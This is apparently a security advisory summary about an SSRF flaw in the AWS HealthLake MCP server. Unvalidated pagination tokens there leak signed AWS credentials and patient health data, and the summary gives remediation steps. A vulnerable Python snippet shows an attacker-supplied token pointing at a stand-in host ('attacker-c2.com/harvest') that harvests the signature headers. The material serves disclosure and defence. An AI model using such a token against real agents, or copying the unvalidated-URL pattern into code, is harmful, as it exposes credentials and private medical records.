Executive Summary: AI Agent Protocols & Cloud Credential Leakage

Amazon Web Services (AWS) has published security bulletin 2026-054-AWS detailing a high-severity vulnerability tracked as CVE-2026-15643 (GitHub Advisory GHSA-c5vr-x62j-w6rw) in the official AWS HealthLake Model Context Protocol (MCP) Server (awslabs.healthlake-mcp-server).

The Model Context Protocol (MCP) is the emerging standard allowing enterprise AI agents, LLM tool pipelines, and diagnostic co-pilots to securely query backend enterprise databases. In healthcare systems, the HealthLake MCP server enables autonomous agents to retrieve, summarize, and analyze clinical patient records formatted according to the Fast Healthcare Interoperability Resources (FHIR) standard. Carrying a CVSS v3.1 score of 7.3 (High), the defect enables remote adversaries to manipulate pagination parameters, triggering Server-Side Request Forgery (SSRF) and leaking temporary AWS SigV4 cryptographic credentials and HIPAA-protected health information (PHI) to unauthorized external servers.

Vulnerability Mechanics: SigV4 Authorization Exfiltration via Pagination Tokens

When querying FHIR resources (such as Patient, Observation, or Condition objects), AWS HealthLake paginates search results, providing a next_token parameter to fetch the succeeding page of data.

In versions of awslabs.healthlake-mcp-server prior to 0.0.14, the tool implementation directly accepted an arbitrary URL inside the pagination token parameter. Because the MCP server relied on the standard AWS SDK to dispatch outbound HTTP calls, it automatically attached valid AWS Signature Version 4 (SigV4) headers to whatever URL was resolved: 

# Vulnerable request execution flow in awslabs.healthlake-mcp-server
async def handle_pagination(next_token: str):
    # Intent: Fetch next batch of FHIR healthcare resources
    # Flaw: next_token is treated as a fully qualified URI without host validation!
    # Attacker supplies: "https://attacker-c2.com/harvest"
    request = aws_session.prepare_request("GET", next_token)
    
    # AWS SigV4 signer signs the request and appends headers:
    # Authorization: AWS4-HMAC-SHA256 Credential=ASIA.../20260926/us-east-1/healthlake/aws4_request...
    # X-Amz-Security-Token: IQoJb3JpZ2luX2VjEAM...
    
    # Request dispatched directly to attacker-controlled server:
    response = await http_client.send(request)

When the attacker's server captures the HTTP request, it harvests the X-Amz-Security-Token, X-Amz-Date, and Authorization header fields. With these credentials, the adversary can impersonate the MCP server's AWS Identity and Access Management (IAM) role until the STS token expires.

Impact on HIPAA Compliance & Healthcare Workloads

Because HealthLake stores protected health information (PHI)—including clinical diagnoses, diagnostic lab results, prescription histories, and patient demographic records—the exfiltration of the underlying IAM credentials triggers severe regulatory liabilities under the Health Insurance Portability and Accountability Act (HIPAA):

  • Full Data Lake Compromise: If the IAM role granted wildcard healthlake:* permissions, the attacker can dump entire patient registries across all provisioned datastores.
  • Cross-Service Lateral Movement: Attackers can leverage the leaked STS tokens to query adjacent AWS services permitted by the role, such as Amazon S3 medical imaging buckets or Amazon Bedrock model inference endpoints.
  • Bypass of In-Process Read-Only Guards: The advisory explicitly cautions that setting the --readonly flag on the MCP server does not mitigate this vulnerability, as the credential exfiltration occurs before in-process policy evaluation.

Affected Software Versions & Upstream Patch Details

Package Name Vulnerable Versions Fixed Version Security Controls Introduced
awslabs.healthlake-mcp-server Versions < 0.0.14 v0.0.14 or later Host allowlist enforcement, token validation, URL reconstruction, redirect disabling

Remediation Playbook for AI Engineering Teams

  1. Update the MCP Server Package: Upgrade the package in your Python or Node.js environment: 
    # Pip upgrade
pip install --upgrade awslabs.healthlake-mcp-server>=0.0.14

# Verify installed build
pip show awslabs.healthlake-mcp-server
  2. Scope IAM Policies to Strict Least Privilege: Replace wildcard resource policies with resource-constrained Amazon Resource Names (ARNs): 
    {
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "healthlake:SearchWithGet",
        "healthlake:ReadResource"
      ],
      "Resource": "arn:aws:healthlake:us-east-1:123456789012:datastore/f0a1b2c3d4e5f67890abcdef/"
    }
  ]
}
  3. Rotate Active STS Session Roles: If vulnerable versions of the HealthLake MCP server were operated within shared agent environments, revoke all existing STS sessions and re-issue credentials.